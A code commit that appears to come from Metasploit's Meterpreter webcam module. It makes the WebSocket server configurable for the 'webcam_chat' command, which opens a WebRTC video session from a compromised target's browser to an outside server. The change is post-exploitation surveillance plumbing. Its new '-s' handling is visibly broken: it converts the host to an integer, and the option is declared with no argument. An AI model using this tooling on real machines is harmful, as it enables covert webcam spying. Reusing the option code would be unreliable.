Make server configurable

bug/bundler_fix
sinn3r 2014-02-11 23:07:43 -06:00
parent 7eb20a37d4
commit 750ce3c4db
4 changed files with 30 additions and 8 deletions

View File

@ -73,7 +73,7 @@
}
var channel = '=CHANNEL=';
var websocket = new WebSocket('ws://wsnodejs.jit.su:80');
var websocket = new WebSocket('ws://=SERVER=');
var inSession = false;
websocket.onopen = function() {

View File

@ -87,7 +87,7 @@
<script src="api.js"> </script>
<script>
var channel = '=CHANNEL=';
var websocket = new WebSocket('ws://wsnodejs.jit.su:80');
var websocket = new WebSocket('ws://=SERVER=');
websocket.onopen = function() {
websocket.push(JSON.stringify({

View File

@ -56,7 +56,7 @@ class Webcam
true
end
def webcam_chat
def webcam_chat(server)
offerer_id = Rex::Text.rand_text_alphanumeric(10)
channel = Rex::Text.rand_text_alphanumeric(20)
@ -66,8 +66,8 @@ class Webcam
raise RuntimeError, "Unable to find a suitable browser on the target machine"
end
ready_status = init_video_chat(remote_browser_path, channel, offerer_id)
connect_video_chat(channel, offerer_id)
ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id)
connect_video_chat(server, channel, offerer_id)
end
# Record from default audio source for +duration+ seconds;
@ -141,10 +141,11 @@ class Webcam
# @param remote_browser_path [String] A browser path that supports WebRTC on the target machine
# @param offerer_id [String] A ID that the answerer can look for and join
#
def init_video_chat(remote_browser_path, channel, offerer_id)
def init_video_chat(remote_browser_path, server, channel, offerer_id)
interface = load_interface('offerer.html')
api = load_api_code
interface = interface.gsub(/\=SERVER\=/, server)
interface = interface.gsub(/\=CHANNEL\=/, channel)
interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
@ -195,7 +196,7 @@ class Webcam
# @param offerer_id [String] The offerer's ID in order to join the video chat
# @return void
#
def connect_video_chat(channel, offerer_id)
def connect_video_chat(server, channel, offerer_id)
interface = load_interface('answerer.html')
api = load_api_code
@ -204,6 +205,7 @@ class Webcam
tmp_api.write(api)
tmp_api.close
interface = interface.gsub(/\=SERVER\=/, server)
interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path)
interface = interface.gsub(/\=RHOST\=/, rhost)
interface = interface.gsub(/\=CHANNEL\=/, channel)

View File

@ -137,9 +137,29 @@ class Console::CommandDispatcher::Stdapi::Webcam
return
end
server = 'wsnodejs.jit.su:80'
webcam_chat_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner"],
"-s" => [ false, "WebSocket server" ]
)
webcam_chat_opts.parse( args ) { | opt, idx, val |
case opt
when "-h"
print_line( "Usage: webcam_chat [options]\n" )
print_line( "Starts a video conversation with your target." )
print_line( webcam_chat_opts.usage )
return
when "-s"
server = val.to_i
end
}
begin
print_status("Video chat session initialized.")
client.webcam.webcam_chat
client.webcam.webcam_chat(server)
rescue RuntimeError => e
print_error(e.message)
end